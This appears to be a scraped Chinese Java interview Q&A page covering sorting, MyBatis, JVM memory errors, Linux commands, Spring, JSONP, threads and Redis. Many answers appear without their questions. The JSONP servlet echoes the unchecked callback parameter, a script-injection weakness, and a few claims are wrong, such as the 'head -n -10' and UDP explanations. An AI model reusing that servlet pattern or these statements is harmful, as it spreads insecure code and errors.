赞
踩
**
**
markdown文件。持续更新中(阿里、腾讯、网易、美团、京东、华为、快手、字节…)
上面这篇也结合着看啊,通宵给整理出来的。
如需下载整套资料。关注公众号后台。
回复:java2024
冒泡排序是一种简单的排序算法。
步骤:
代码:
package constxiong.interview; /** * 冒泡排序 * @author ConstXiong */ public class BubbleSort { public static void main(String[] args) { int [] array = {33, 22, 1, 4, 25, 88, 71, 4}; bubbleSort(array); } /** * 冒泡排序 * @param array */ public static void bubbleSort(int[] array) { print(array); for (int i = 0; i <array.length; i++) { //提前退出冒泡循环的标志 boolean hasSwitch = false; //因为使用 j 和 j+1 的下标进行比较,所以 j 的最大值为数组长度 - 2 for (int j = 0; j <array.length - (i+1); j++) { if (array[j] > array[j + 1]) { int temp = array[j + 1]; array[j+1] = array[j]; array[j] = temp; hasSwitch = true;//有数据交换 print(array); } } //没有数据交换退出循环 if (!hasSwitch) { break; } } } /** * 打印数组 * @param array */ private static void print(int[] array) { for(int i : array) { System.out.print(i + " "); } System.out.println(); } }
打印结果:
33 22 1 4 25 88 71 4
22 33 1 4 25 88 71 4
22 1 33 4 25 88 71 4
22 1 4 33 25 88 71 4
22 1 4 25 33 88 71 4
22 1 4 25 33 71 88 4
22 1 4 25 33 71 4 88
1 22 4 25 33 71 4 88
1 4 22 25 33 71 4 88
1 4 22 25 33 4 71 88
1 4 22 25 4 33 71 88
1 4 22 4 25 33 71 88
1 4 4 22 25 33 71 88
特征:
补充一个相同点:都可以做到同一线程,同一把锁,可重入代码块。
删除执行中的程序或工作,发送指定的信号到相应进程
不指定信号将发送 SIGTERM(15) 终止指定进程
用 “-KILL” 参数,发送信号 SIGKILL(9) 强制结束进程
常用参数:
-l 信号,若果不加信号的编号参数,则使用"-l"参数会列出全部的信号名称
-a 当处理当前进程时,不限制命令名和进程号的对应关系
-p 指定 kill 命令只打印相关进程的进程号,而不发送任何信号
-s 指定发送信号
-u 指定用户
kill -l 显示信号
kill -KILL 8878 强制杀死进程 8878
kill -9 8878 彻底杀死进程 8878
kill -u tomcat 杀死 tomcat 用户的进程
1、新建类实现 Interceptor 接口,并指定想要拦截的方法签名
/** * MyBatis 插件 */ @Intercepts({@Signature(type = Executor.class, method = "query", args = {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class})}) public class ExamplePlugin implements Interceptor { @Override public Object intercept(Invocation invocation) throws Throwable { for (Object arg : invocation.getArgs()) { System.out.println("参数:" + arg); } System.out.println("方法:" + invocation.getMethod()); System.out.println("目标对象:" + invocation.getTarget()); Object result = invocation.proceed(); //只获取第一个数据 if (result instanceof List){ System.out.println("原集合数据:" + result); System.out.println("只获取第一个对象"); List list = (List)result; return Arrays.asList(list.get(0)); } return result; } }
2、MyBatis 配置文件中添加该插件
<plugins>
<plugin interceptor="constxiong.plugin.ExamplePlugin">
</plugin>
</plugins>
测试代码
System.out.println("------userMapper.deleteUsers()------");
//删除 user
userMapper.deleteUsers();
System.out.println("------userMapper.insertUser()------");
//插入 user
for (int i = 1; i <= 5; i++) {
userMapper.insertUser(new User(i, "ConstXiong" + i));
}
System.out.println("------userMapper.selectUsers()------");
//查询所有 user
List<User> users = userMapper.selectUsers();
System.out.println(users);
打印结果
------userMapper.deleteUsers()------
------userMapper.insertUser()------
------userMapper.selectUsers()------
参数:org.apache.ibatis.mapping.MappedStatement@58c1c010
参数:null
参数:org.apache.ibatis.session.RowBounds@b7f23d9
参数:null
方法:public abstract java.util.List org.apache.ibatis.executor.Executor.query(org.apache.ibatis.mapping.MappedStatement,java.lang.Object,org.apache.ibatis.session.RowBounds,org.apache.ibatis.session.ResultHandler) throws java.sql.SQLException
目标对象:org.apache.ibatis.executor.CachingExecutor@61d47554
原集合数据:[User{id=1, name='ConstXiong1', mc='null'}, User{id=2, name='ConstXiong2', mc='null'}, User{id=3, name='ConstXiong3', mc='null'}, User{id=4, name='ConstXiong4', mc='null'}, User{id=5, name='ConstXiong5', mc='null'}]
只获取第一个对象
[User{id=1, name='ConstXiong1', mc='null'}]
插件功能的官网说明
MyBatis 允许你在映射语句执行过程中的某一点进行拦截调用。默认情况下,MyBatis 允许使用插件来拦截的方法调用包括:
- Executor (update, query, flushStatements, commit, rollback, getTransaction, close, isClosed)
- ParameterHandler (getParameterObject, setParameters)
- ResultSetHandler (handleResultSets, handleOutputParameters)
- StatementHandler (prepare, parameterize, batch, update, query)
完整 Demo:
https://www.javanav.com/val/a5535343f9b545eda9665f03d62345ba.html
PS:MyBatis 分页插件 PagerHelper,就是一个很好的插件学习例子。
OutOfMemoryError 分为多种不同的错误:
原因:JVM 中 heap 的最大值不满足需要
解决:
调高 heap 的最大值,-Xmx 的值调大
如果程序存在内存泄漏,增加 heap 空间也只是推迟该错误出现的时间而已,要检查程序是否存在内存泄漏
原因:JVM 在 GC 时,对象过多,导致内存溢出
解决:调整 GC 的策略,在一定比例下开始GC而不使用默认的策略,或将新代和老代设置合适的大小,可以微调存活率。如在老代 80% 时就是开始GC,并且将 -XX:SurvivorRatio(-XX:SurvivorRatio=8)和-XX:NewRatio(-XX:NewRatio=4)设置的更合理
原因:JVM 中 perm 的最大值不满足需要,perm 一般是在 JVM 启动时加载类进来
解决:调高 heap 的最大值,即 -XX:MaxPermSize 的值调大解决。如果 JVM 运行较长一段时间而不是刚启动后溢出的话,很有可能是由于运行时有类被动态加载,此时可以用 CMS 策略中的类卸载配置解决如:-XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled
原因:当 JVM 向系统请求创建一个新线程时,系统内存不足无法创建新的 native 线程
解决:JVM 内存调的过大或者可利用率小于 20%,可以将 heap 及 perm 的最大值下调,并将线程栈内存 -Xss 调小,如:-Xss128k
原因:应用程序试图分配一个大于堆大小的数组
解决:
检查 heap 的 -Xmx 是不是设置的过小
heap 的 -Xmx 已经足够大,检查应用程序是不是存在 bug 计算数组的大小时存在错误,导致数组的 length 很大,从而导致申请巨大的数组
原因:从 native 堆中分配内存失败,并且堆内存可能接近耗尽,操作系统配置了较小的交换区,其他进程消耗所有的内存
解决:检查操作系统的 swap 是不是没有设置或者设置的过小;检查是否有其他进程在消耗大量的内存,导致 JVM 内存不够分配
显示开头或结尾命令
head 用来显示档案的开头至标准输出中,默认 head 命令打印文件的开头 10 行
常用参数:
-n <行数> 显示的行数(行数为负数表示从最后向前数)
head 1og.log -n 20 显示 1og.log 文件中前 20 行
head -c 20 log.log 显示 1og.log 文件前 20 字节
head -n -10 1og.log 显示 1og.log 最后 10 行
servlet 的生命周期:
未使用原子类,测试代码
package constxiong.interview; /** * JDK 原子类测试 * @author ConstXiong * @date 2019-06-11 11:22:01 */ public class TestAtomic { private int count = 0; public int getAndIncrement() { return count++; } // private AtomicInteger count = new AtomicInteger(0); // // public int getAndIncrement() { // return count.getAndIncrement(); // } public static void main(String[] args) { final TestAtomic test = new TestAtomic(); for (int i = 0; i <3; i++) { new Thread(){ @Override public void run() { for (int j = 0; j <10; j++) { try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(Thread.currentThread().getName() + " 获取递增值:" + test.getAndIncrement()); } } }.start(); } } }
打印结果中,包含重复值
Thread-0 获取递增值:1 Thread-2 获取递增值:2 Thread-1 获取递增值:0 Thread-0 获取递增值:3 Thread-2 获取递增值:3 Thread-1 获取递增值:3 Thread-2 获取递增值:4 Thread-0 获取递增值:5 Thread-1 获取递增值:5 Thread-1 获取递增值:6 Thread-2 获取递增值:8 Thread-0 获取递增值:7 Thread-1 获取递增值:9 Thread-0 获取递增值:10 Thread-2 获取递增值:10 Thread-0 获取递增值:11 Thread-2 获取递增值:13 Thread-1 获取递增值:12 Thread-1 获取递增值:14 Thread-0 获取递增值:14 Thread-2 获取递增值:14 Thread-1 获取递增值:15 Thread-2 获取递增值:15 Thread-0 获取递增值:16 Thread-1 获取递增值:17 Thread-0 获取递增值:19 Thread-2 获取递增值:18 Thread-0 获取递增值:20 Thread-1 获取递增值:21 Thread-2 获取递增值:22
测试代码修改为原子类
package constxiong.interview; import java.util.concurrent.atomic.AtomicInteger; /** * JDK 原子类测试 * @author ConstXiong * @date 2019-06-11 11:22:01 */ public class TestAtomic { // private int count = 0; // // public int getAndIncrement() { // return count++; // } private AtomicInteger count = new AtomicInteger(0); public int getAndIncrement() { return count.getAndIncrement(); } public static void main(String[] args) { final TestAtomic test = new TestAtomic(); for (int i = 0; i <3; i++) { new Thread(){ @Override public void run() { for (int j = 0; j <10; j++) { try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(Thread.currentThread().getName() + " 获取递增值:" + test.getAndIncrement()); } } }.start(); } } }
打印结果中,不包含重复值
Thread-0 获取递增值:1 Thread-2 获取递增值:2 Thread-1 获取递增值:0 Thread-0 获取递增值:3 Thread-1 获取递增值:4 Thread-2 获取递增值:5 Thread-0 获取递增值:6 Thread-1 获取递增值:7 Thread-2 获取递增值:8 Thread-0 获取递增值:9 Thread-2 获取递增值:10 Thread-1 获取递增值:11 Thread-0 获取递增值:12 Thread-1 获取递增值:13 Thread-2 获取递增值:14 Thread-0 获取递增值:15 Thread-1 获取递增值:16 Thread-2 获取递增值:17 Thread-0 获取递增值:18 Thread-1 获取递增值:19 Thread-2 获取递增值:20 Thread-0 获取递增值:21 Thread-2 获取递增值:23 Thread-1 获取递增值:22 Thread-0 获取递增值:24 Thread-1 获取递增值:25 Thread-2 获取递增值:26 Thread-0 获取递增值:27 Thread-2 获取递增值:28 Thread-1 获取递增值:29
文本搜索命令,grep 是 Global Regular Expression Print 的缩写,全局正则表达式搜索
grep 在一个或多个文件中搜索字符串模板。如果模板包括空格,则必须使用引号,模板后的所有字符串被看作文件名,搜索的结果被送到标准输出,不影响原文件内容。
命令格式:grep [option] pattern file|dir 常用参数: -A n --after-context显示匹配字符后n行 -B n --before-context显示匹配字符前n行 -C n --context 显示匹配字符前后n行 -c --count 计算符合样式的列数 -i 忽略大小写 -l 只列出文件内容符合指定的样式的文件名称 -f 从文件中读取关键词 -n 显示匹配内容的所在文件中行数 -R 递归查找文件夹 grep 的规则表达式: ^ 锚定行的开始 如:'^log'匹配所有以 log 开头的行。 $ 锚定行的结束 如:'log$'匹配所有以 log 结尾的行。 . 匹配一个非换行符的字符,'l.g' 匹配 l+非换行字符+g,如:log * 匹配零个或多个先前字符 如:'*log' 匹配所有一个或多个空格后紧跟 log 的行 .* 一起用代表任意字符 [] 匹配一个指定范围内的字符,如:'[Ll]og' 匹配 Log 和 log [^] 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]og' 匹配不包含 A-F 和 H-Z 的一个字母开头,紧跟 log 的行 \(..\) 标记匹配字符,如:'\(log\)',log 被标记为 1 \< 锚定单词的开始,如:'\<log' 匹配包含以 log 开头的单词的行 \> 锚定单词的结束,如:'log\>' 匹配包含以 log 结尾的单词的行 x\{m\} 重复字符 x,m 次,如:'a\{5\}' 匹配包含 5 个 a 的行 x\{m,\} 重复字符 x,至少 m 次,如:'a\{5,\}' 匹配至少有 5 个 a 的行 x\{m,n\} 重复字符 x,至少 m 次,不多于 n 次,如:'a\{5,10\}' 匹配 5 到 10 个 a 的行 \w 匹配文字和数字字符,也就是[A-Za-z0-9],如:'l\w*g'匹配 l 后跟零个或多个字母或数字字符加上字符 p \W \w 的取反,匹配一个或多个非单词字符,如 , . ' " \b 单词锁定符,如: '\blog\b' 只匹配 log
ActiveMQ:
Master-Slave 部署方式主从热备,方式包括通过共享存储目录来实现(shared filesystem Master-Slave)、通过共享数据库来实现(shared database Master-Slave)、5.9版本后新特性使用 ZooKeeper 协调选择 master(Replicated LevelDB Store)。
Broker-Cluster 部署方式进行负载均衡。
RabbitMQ:
单机模式与普通集群模式无法满足高可用,镜像集群模式指定多个节点复制 queue 中的消息做到高可用,但消息之间的同步网络性能开销较大。
RocketMQ:
有多 master 多 slave 异步复制模式和多 master 多 slave 同步双写模式支持集群部署模式。
Producer 随机选择 NameServer 集群中的其中一个节点建立长连接,定期从 NameServer 获取 Topic 路由信息,并向提供 Topic 服务的 Broker Master 建立长连接,且定时向 Master 发送心跳,只能将消息发送到 Broker master。
Consumer 同时与提供 Topic 服务的 Master、Slave 建立长连接,从 Master、Slave 订阅消息都可以,订阅规则由 Broker 配置决定。
Kafka:
由多个 broker 组成,每个 broker 是一个节点;topic 可以划分为多个 partition,每个 partition 可以存在于不同的 broker 上,每个 partition 存放一部分数据,这样每个 topic 的数据就分散存放在多个机器上的。
replica 副本机制保证每个 partition 的数据同步到其他节点,形成多 replica 副本;所有 replica 副本会选举一个 leader 与 Producer、Consumer 交互,其他 replica 就是 follower;写入消息 leader 会把数据同步到所有 follower,从 leader 读取消息。
每个 partition 的所有 replica 分布在不同的机器上。某个 broker 宕机,它上面的 partition 在其他节点有副本,如果有 partition 的 leader,会进行重新选举 leader。
BeanFactory 是 Spring IoC 容器的底层实现
ApplicationContext 拥有 BeanFactory 的所有能力,还提供了
摘自:
https://docs.spring.io/spring-framework/docs/5.2.2.RELEASE
即更易集成 aop 特性、消息资源处理(国际化)、事件发布、应用程序层面特定的上下文如 WebApplicationContext。
除了以上,细节上还包括:
总之,ApplicationContext 是具备应用特性的 BeanFactory 超集。
1、Java Development Kit(Java 开发工具包)的缩写。用于 java 程序的开发,提供给程序员使用
2、使用 Java 语言编程都需要在计算机上安装一个 JDK
3、JDK 的安装目录 5 个文件夹、一个 src 类库源码压缩包和一些说明文件
bin:各种命令工具, java 源码的编译器 javac、监控工具 jconsole、分析工具 jvisualvm 等
include:与 JVM 交互C语言用的头文件
lib:类库
jre:Java 运行环境
db:安装 Java DB 的路径
src.zip:Java 所有核心类库的源代码
jdk1.8 新加了 javafx-src.zip 文件,存放 JavaFX 脚本,JavaFX 是一种声明式、静态类型编程语言
如:
给 id 创建索引:CREATE INDEX idx_t1_id on t1(id);
给 username 和 password 创建联合索引:CREATE index idx_t1_username_password ON t1(username,password)
index 替换成 unique 或 primary key,分别代表唯一索引和主键索引
在页面中
单纯使用 spring-context 和 spring-jdbc 集成 MyBatis,配置步骤:
最核心的就是 spring 的配置文件,如下
<?xml version="1.0" encoding="utf-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.3.xsd "> <context:property-placeholder location="classpath:db.properties" ignore-unresolvable="true" /> <bean id="dataSource" class="org.apache.ibatis.datasource.pooled.PooledDataSource"> <!-- 基本属性 url、user、password --> <property name="driver" value="${jdbc_driver}" /> <property name="url" value="${jdbc_url}"/> <property name="username" value="${jdbc_username}"/> <property name="password" value="${jdbc_password}"/> </bean> <!-- spring 和 Mybatis整合 --> <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean"> <property name="dataSource" ref="dataSource"/> <property name="mapperLocations" value="classpath:constxiong/mapper/*.xml" /> </bean> <!-- DAO接口所在包,配置自动扫描 --> <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer"> <property name="basePackage" value="constxiong.mapper"/> </bean> </beans>
完整 Demo:
https://javanav.com/val/687c224b31a34d3c9f99fee67e3d5bcc.html
TCP/IP 协议是一个协议簇,包括很多协议。命名为 TCP/IP 协议的原因是 TCP 和 IP 这两个协议非常重要,应用很广。
TCP 和 UDP 都是 TCP/IP 协议簇里的一员。
TCP,Transmission Control Protocol 的缩写,即传输控制协议。
UDP,User Data Protocol 的缩写,即用户数据报协议。
隔离级别:
源码见 Isolation 枚举。
除了程序计数器,其他内存区域都有 OOM 的风险。
JDK1.8 中的源码解释
/** * Retrieves and removes the head of this queue. This method differs * from {@link #poll poll} only in that it throws an exception if this * queue is empty. * * @return the head of this queue * @throws NoSuchElementException if this queue is empty */ E remove(); /** * Retrieves and removes the head of this queue, * or returns {@code null} if this queue is empty. * * @return the head of this queue, or {@code null} if this queue is empty */ E poll();
优点:减少了写出次数,提高了效率
缺点:接收端可能无法及时获取到数据
JDK 1.8 开始
补充:两者之间的转换存在自动装/拆箱,可以提一下。
测试代码:
package constxiong.interview; import java.lang.reflect.Field; /** * 测试通过 Class 获取字段 * @author ConstXiong */ public class TestGetFields extends TestGetFieldsSub implements TestGetFieldsInterface{ private String privateFieldSelf; protected String protectedFieldSelf; String defaultFieldSelf; public String publicFieldSelf; public static void main(String[] args) { System.out.println("-------- getFields --------"); for (Field field : TestGetFields.class.getFields()) { System.out.println(field.getName()); } System.out.println("-------- getDeclaredFields --------"); for (Field field : TestGetFields.class.getDeclaredFields()) { System.out.println(field.getName()); } } } class TestGetFieldsSub { private String privateField; protected String protectedField; String defaultField; public String publicField; } interface TestGetFieldsInterface { String interfaceField = ""; }
打印:
-------- getFields --------
publicFieldSelf
interfaceField
publicField
-------- getDeclaredFields --------
privateFieldSelf
protectedFieldSelf
defaultFieldSelf
publicFieldSelf
JSONP 是 JSON with Padding 的略称。
它是一个非官方的协议,允许在服务器端集成Script tags返回至客户端,通过 javascript callback 的形式实现跨域访问。
产生的背景:
1、开发一个 servlet 根据参数返回学生信息的数据。把 callback 参数作为 js 的函数调用
package constxiong; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * jsonp servlet * @author ConstXiong * @date 2019-07-03 09:56:37 */ @WebServlet("/jsonp") public class JsonpServlet extends HttpServlet { private static final long serialVersionUID = 1L; public JsonpServlet() { super(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { StringBuilder jsonp = new StringBuilder(); String sid = request.getParameter("sid"); String function = request.getParameter("callback"); jsonp.append(function).append("("); jsonp.append(getStudent(sid)); jsonp.append(")"); response.getWriter().write(jsonp.toString()); } /** * 根据学号获取学生信息 * @param sid * @return */ private String getStudent(String sid) { String student = null; if ("1".equals(sid)) { student = "{'sid':'1', 'name':'ConstXiong'}"; } return student; } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
请求
http://localhost:8081/web/jsonp?sid=1&callback=aaa
返回
aaa({'sid':'1', 'name':'ConstXiong'})
2、修改 hosts 文件,模拟跨域访问。本机 win7 操作系统,修改 C:\Windows\System32\drivers\etc\hosts
最后一行添加
127.0.0.1 www.aaa.com
访问,模拟跨域url
http://www.aaa.com:8081/web/jsonp?sid=1&callback=alertStudent
返回
alertStudent({'sid':'1', 'name':'ConstXiong'})
3、添加 html 页面,测试后台返回的 js 是否能调用到 html 中 js 定义 的 alertStudent 方法
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>jsonp test</title> </head> <body> <script> //学生id var sid = 1; //定义函数显示学生信息 var alertStudent = function(data) { if (data == null) { alert('没有该学生信息'); } else { alert('学号:' + data.sid + ', 姓名:' + data.name); } } //动态生成 <script> 标签,后端调用 alertStudent 函数 var script = document.createElement('script'); script.src = 'http://www.aaa.com:8081/web/jsonp?sid='+sid + '&callback=alertStudent'; document.getElementsByTagName('head')[0].appendChild(script); </script> </body> </html>
访问页面,能够显示出学生信息
注意事项
Java 中有 4 种常见的创建线程的方式。
一、重写 Thread 类的 run() 方法。
表现形式有两种:**1)new Thread 对象匿名重写 run() 方法** package constxiong.concurrency.a006; /** * new Thread 对象匿名重写 run() 方法,启动线程 * @author ConstXiong */ public class TestNewThread { public static void main(String[] args) { //创建线程 t, 重写 run() 方法 new Thread("t") { @Override public void run() { for (int i = 0; i <3; i++) { System.out.println("thread t > " + i); } } }.start(); } }
执行结果
thread t > 0 thread t > 1 thread t > 2 ** 2)继承 Thread 对象,重写 run() 方法** package constxiong.concurrency.a006; /** * 继承 Thread 类,重写 run() 方法 * @author ConstXiong */ public class TestExtendsThread { public static void main(String[] args) { new ThreadExt().start(); } } //ThreadExt 继承 Thread,重写 run() 方法 class ThreadExt extends Thread { @Override public void run() { for (int i = 0; i <3; i++) { System.out.println("thread t > " + i); } } }
执行结果
thread t > 0
thread t > 1
thread t > 2
二、实现 Runnable 接口,重写 run() 方法。
表现形式有两种:**1)new Runnable 对象,匿名重写 run() 方法** package constxiong.concurrency.a006; /** * new Runnalbe 对象匿名重写 run() 方法,启动线程 * @author ConstXiong */ public class TestNewRunnable { public static void main(String[] args) { newRunnable(); } public static void newRunnable() { //创建线程 t1, 重写 run() 方法 new Thread(new Runnable() { @Override public void run() { for (int i = 0; i <3; i++) { System.out.println("thread t1 > " + i); try { Thread.sleep(1000L); } catch (InterruptedException e) { e.printStackTrace(); } } } }, "t1").start(); //创建线程 t2, lambda 表达式设置线程的执行代码 //JDK 1.8 开始支持 lambda 表达式 new Thread(() -> { for (int i = 0; i <3; i++) { System.out.println("thread t2 > " + i); try { Thread.sleep(1000L); } catch (InterruptedException e) { e.printStackTrace(); } } }, "t2").start(); } }
执行结果
thread t1 > 0 thread t2 > 0 thread t1 > 1 thread t2 > 1 thread t1 > 2 thread t2 > 2 2)实现 Runnable 接口,重写 run() 方法 package constxiong.concurrency.a006; /** * 实现 Runnable 接口,重写 run() 方法 * @author ConstXiong */ public class TestImplRunnable { public static void main(String[] args) { new Thread(new RunnableImpl()).start(); } } ///RunnableImpl 实现 Runnalbe 接口,重写 run() 方法 class RunnableImpl implements Runnable { @Override public void run() { for (int i = 0; i <3; i++) { System.out.println("thread t > " + i); } } }
执行结果
thread t > 0
thread t > 1
thread t > 2
三、实现 Callable 接口,使用 FutureTask 类创建线程
package constxiong.concurrency.a006; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; import java.util.concurrent.FutureTask; /** * 实现 Callable 接口,使用 FutureTask 类创建线程 * @author ConstXiong */ public class TestCreateThreadByFutureTask { public static void main(String[] args) throws InterruptedException, ExecutionException { //通过构造 FutureTask(Callable callable) 构造函数,创建 FutureTask,匿名实现接口 Callable 接口 FutureTask<String> ft = new FutureTask<String>(new Callable<String>() { @Override public String call() throws Exception { return "ConstXiong"; } }); //Lambda 方式实现 // FutureTask<String> ft = new FutureTask<String>(() -> "ConstXiong"); new Thread(ft).start(); System.out.println("执行结果:" + ft.get()); } }
执行结果
执行结果:ConstXiong
四、使用线程池创建、启动线程
package constxiong.concurrency.a006; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * 线程池的方式启动线程 * @author ConstXiong */ public class TestCreateThreadByThreadPool { public static void main(String[] args) { // 使用工具类 Executors 创建单线程线程池 ExecutorService singleThreadExecutor = Executors.newSingleThreadExecutor(); //提交执行任务 singleThreadExecutor.submit(() -> {System.out.println("单线程线程池执行任务");}); //关闭线程池 singleThreadExecutor.shutdown(); } }
执行结果
单线程线程池执行任务
两种锁各有优缺点:
JDK 8 之前,Hotspot 中方法区的实现是永久代(Perm)
JDK 7 开始把原本放在永久代的字符串常量池、静态变量等移出到堆,JDK 8 开始去除永久代,使用元空间(Metaspace),永久代剩余内容移至元空间,元空间直接在本地内存分配。
1、.java 源文件要先编译成与操作系统无关的 .class 字节码文件,然后字节码文件再通过 Java 虚拟机解释成机器码运行。
2、.class 字节码文件面向虚拟机,不面向任何具体操作系统。
3、不同平台的虚拟机是不同的,但它们给 JDK 提供了相同的接口。
4、Java 的跨平台依赖于不同系统的 Java 虚拟机。
1、单行注释
2、多行注释,不允许嵌套
3、文档注释,常用于类和方法的注释
形式如下:
package constxiong.interview; /** * 文档注释 * @author ConstXiong * @date 2019-10-17 12:32:31 */ public class TestComments { /** * 文档注释 * @param args 参数 */ public static void main(String[] args) { //单行注释 //System.out.print(1); /* 多行注释 System.out.print(2); System.out.print(3); */ } }
@RequestMapping 是一个注解,用来标识 http 请求地址与 Controller 类的方法之间的映射。
可作用于类和方法上,方法匹配的完整是路径是 Controller 类上 @RequestMapping 注解的 value 值加上方法上的 @RequestMapping 注解的 value 值。
/** * 用于映射url到控制器类或一个特定的处理程序方法. */ //该注解只能用于方法或类型上 @Target({ ElementType.METHOD, ElementType.TYPE }) @Retention(RetentionPolicy.RUNTIME) @Documented @Mapping public @interface RequestMapping { /** * 指定映射的名称 */ String name() default ""; /** * 指定请求的路径映射,别名为path */ @AliasFor("path") String[] value() default {}; /** * 别名为 value,使用 path 更加形象 */ @AliasFor("value") String[] path() default {}; /** * 指定 http 请求的类型如GET, POST, HEAD, OPTIONS, PUT, PATCH, DELETE, TRACE. */ RequestMethod[] method() default {}; /** * 指定映射 http 请求的参数 */ String[]params() default {}; /** * 指定处理的 http 请求头 */ String[] headers() default {}; /** * 指定处理的请求提交内容类型(Content-Type) */ String[] consumes() default {}; /** * 指定返回的内容类型,仅当request请求头中的(Accept)类型中包含该指定类型才返回 */ String[] produces() default {}; }
指定 http 请求的类型使用
public enum RequestMethod {
GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS, TRACE
}
PERSIST key
持久化 key 和 value
Redis 在默认情况下会采用 noeviction 回收策略,即不淘汰任何键值对,当内存己满时只能提供读操作,不能提供写操作
存储精度都为秒
区别:
String 类的常用方法:
spring mvc 是 spring web mvc,spring 框架的一部分,一个 mvc 设计模型的表现层框架。
**具体参考:4.2.9.RELEASE 版 spring mvc 官方文章 **
https://docs.spring.io/spring/docs/4.2.9.RELEASE/spring-framework-reference/htmlsingle/#mvc
以下摘自 https://blog.csdn.net/happy_meng/article/details/79089573
1、用户发送请求至前端控制器DispatcherServlet 2、DispatcherServlet收到请求调用HandlerMapping处理器映射器查找Handler。 3、处理器映射器根据请求url找到具体的处理器,生成处理器对象及处理器拦截器(如果有则生成)一并返回给DispatcherServlet。 4、DispatcherServlet通过HandlerAdapter处理器适配器调用处理器 5、HandlerAdapter调用处理器Handler 6、Handler执行完成返回ModelAndView 7、HandlerAdapter将Handler执行结果ModelAndView返回给DispatcherServlet 8、DispatcherServlet将ModelAndView传给ViewReslover视图解析器,ViewReslover根据逻辑视图名解析View 9、ViewReslover返回View 10、DispatcherServlet对View进行渲染视图(即将模型数据填充至request域)。 11、DispatcherServlet响应用户 DispatcherServlet前端控制器(springmvc框架提供) 作用:接收请求,响应结果 有了前端控制器减少各各组件之间的耦合性,前端控制器相关于中央调度器。 HandlerMapping 处理器映射器(springmvc框架提供) 作用:根据url查找Handler,比如:根据xml配置、注解方式查找Handler **HandlerAdapter处理器适配器(springmvc框架提供) 作用:执行Handler 不同类型的Handler有不同的HandlerAdapter,好处可以通过扩展HandlerAdapter支持更多类型的Handler Handler处理器(由程序员开发) 作用:业务处理 实现开发中又称为controller即后端控制器 Handler的开发按照HandlerAdapter的接口规则去开发。 Handler处理后的结果是ModelAndView,是springmvc的底层对象,包括 Model和view两个部分。 view中只包括一个逻辑视图名(为了方便开发起一个简单的视图名称)。 ViewReslover视图解析(springmvc框架提供) 作用:根据逻辑视图名创建一个View对象(包括真实视图物理地址) 针对不同类型的view有不同类型的ViewReslover,常用的有jsp视图解析器即jstlView View视图(由程序员开发jsp页面) 作用:将模型数据填充进来(将model数据填充到request域)显示给用户 view是一个接口,实现类包括:jstlView、freemarkerView,pdfView…
Class 类是 Java 反射机制的起源和入口,用于获取与类相关的各种信息,提供了获取类信息的相关方法。
Class 类存放类的结构信息,能够通过 Class 对象的方法取出相应信息:类的名字、属性、方法、构造方法、父类、接口和注解等信息
对象名.getClass()
对象名.getSuperClass()
Class.forName(“oracle.jdbc.driver.OracleDriver”);
类名.class
Class c2 = Student.class;
Class c2 = int.class
包装类.TYPE
Class c2 = Boolean.TYPE;
Class.getPrimitiveClass()
(Class)Class.getPrimitiveClass(“boolean”);
JRE:Java Runtime Environment( java 运行时环境)。即java程序的运行时环境,包含了 java 虚拟机,java基础类库。
JDK:Java Development Kit( java 开发工具包)。即java语言编写的程序所需的开发工具包。JDK 包含了 JRE,同时还包括 java 源码的编译器 javac、监控工具 jconsole、分析工具 jvisualvm等。
package constxiong.interview; /** * 递归计算n的阶乘 * @author ConstXiong */ public class TestRecursionNFactorial { public static void main(String[] args) { System.out.println(recursionN(5)); } /** * 递归计算n的阶乘 * @param n * @return */ private static int recursionN(int n) { if (n <1) { throw new IllegalArgumentException("参数必须大于0"); } else if (n == 1) { return 1; } else { return n * recursionN(n - 1); } } }
接口绑定就是把接口里的方法与对应执行的 SQL 进行绑定,以及 SQL 执行的结果与方法的返回值进行转换匹配。
方式:
其他原则可以看作是开闭原则的实现手段或方法,开闭原则是理想状态
package constxiong.interview; import java.io.UnsupportedEncodingException; /** * 字符串字符集转换 * @author ConstXiong * @date 2019-11-01 10:57:34 */ public class TestCharsetConvert { public static void main(String[] args) throws UnsupportedEncodingException { String str = "爱编程"; String strIso = new String(str.getBytes("GB2312"), "ISO-8859-1"); System.out.println(strIso); } }
显示系统内存使用情况,包括物理内存、swap 内存和内核 cache 内存
命令参数:
-b 以Byte显示内存使用情况
-k 以kb为单位显示内存使用情况
-m 以mb为单位显示内存使用情况
-g 以gb为单位显示内存使用情况
-s<间隔秒数> 持续显示内存
-t 显示内存使用总合
配置文件,修改 requirepass 属性,重启有效
指令设置密码为 123456,无需重启
config set requirepass 123456
设置验证密码为 654321,登录完之后没有通过密码认证还是无法访问 Redis
auth 654321
使用场景
HashMap 的 key 相等的条件是,条件 1 必须满足,条件2和3必须满足一个。
所以自定义类作为 HashMap 的 key,需要注意按照自己的设计逻辑,重写自定义类的 hashCode() 方法和 equals() 方法。
16384 个。原因如下:
Redis 集群有 16384 个哈希槽,每个 key 通过 CRC16 算法计算的结果,对 16384 取模后放到对应的编号在 0-16383 之间的哈希槽,集群的每个节点负责一部分哈希槽
Oracle 使用 rownum 进行分页
select col1,col2 from
( select rownum r,col1,col2 from tablename where rownum <= 20 )
where r > 10
MyBatis 插件的运行是基于 JDK 动态代理 + 拦截器链实现
